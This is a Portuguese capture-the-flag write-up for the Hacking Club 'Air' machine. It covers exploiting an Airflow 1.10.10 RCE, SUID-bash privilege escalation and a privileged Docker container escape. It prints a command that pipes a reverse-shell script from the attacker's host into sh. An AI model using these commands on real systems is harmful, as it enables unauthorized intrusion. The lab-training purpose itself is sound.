Escolar Documentos
Profissional Documentos
Cultura Documentos
Write-up air
A melhor parte do Hacking Club é que ele é muito prático. Se você é novo em
hacking, experimente!
Varredura nmap:
Precisamos saber quais serviços estão sendo executados nos bastidores e quais
portas estão abertas. Então, vamos usar uma ferramenta chamada nmap.
Ports:
Write-Up - Air 1
Porta 22 - SSH
Write-Up - Air 2
Indo em Docs > Documentation; eu vejo a versão do Airflow → 1.10.10, logo faço
uma pesquisa no Google em busca de exploit, e de fato, essa versão do Airflow é
vulnerável a Remote Code Execution (RCE).
ExploitDB
Write-Up - Air 3
Esse exploit explora o DAG de exemplo que é vulnerável à injeção de comando
junto com a API REST experimental que é pública por padrão, mesmo se a interface
da web tiver autenticação definida.
Vamos baixar o exploit pra nossa máquina e testar =)
Depois de ter baixado o exploit pra nossa máquina, os próximos passos serão:
Write-Up - Air 4
Criar uma reverse shell e subir o servidor em python para servir nossa payload
( shell.sh )
Write-Up - Air 5
python exploit.py http://172.31.23.8:8080 "curl <IP-VPN>/shell.sh|sh"
Shell tty
Atualizando shell simples para TTYs totalmente interativos.
Ctrl+Z
Write-Up - Air 6
stty raw -echo;fg
Enter
export TERM=xterm
cat /etc/hostname
Temos o binário bash com SUID , e podemos escalar para o usuário root a partir
deste =)
Basta executar o comando abaixo:
Write-Up - Air 7
/bin/bash -p
Indo em /root temos a nossa primeira flag, e tudo indica que temos que escapar do
container para pegar a flag de root =)
Docker Escape
Como estamos em um container, temos que tentar escapar dele, e para isso usarei
o seguinte site:
https://book.hacktricks.xyz/linux-unix/privilege-escalation/doc
ker-breakout/docker-breakout-privilege-escalation
Write-Up - Air 8
Os contêineres docker bem configurados não permitem comandos como fdisk -l .
No entanto, no comando docker configurado incorretamente onde o sinalizador --
privileged é especificado, é possível obter os privilégios para ver a unidade host.
Opsss, não conseguimos montar a partição msm sendo root, por quê? Se você
reparar, nós estamos com ID de usuário efetivo = euid e com isso ficamos
limitados a executar certos comandos. Para contornar isso, podemos setar para
somente → UID.
Vamos fazer isso usando python:
Write-Up - Air 9
Agora podemos montar a partição em /mnt:
E voilà! Agora podemos acessar o sistema de arquivos do host porque ele está
montado na /mnt
Write-Up - Air 10
Write-Up - Air 11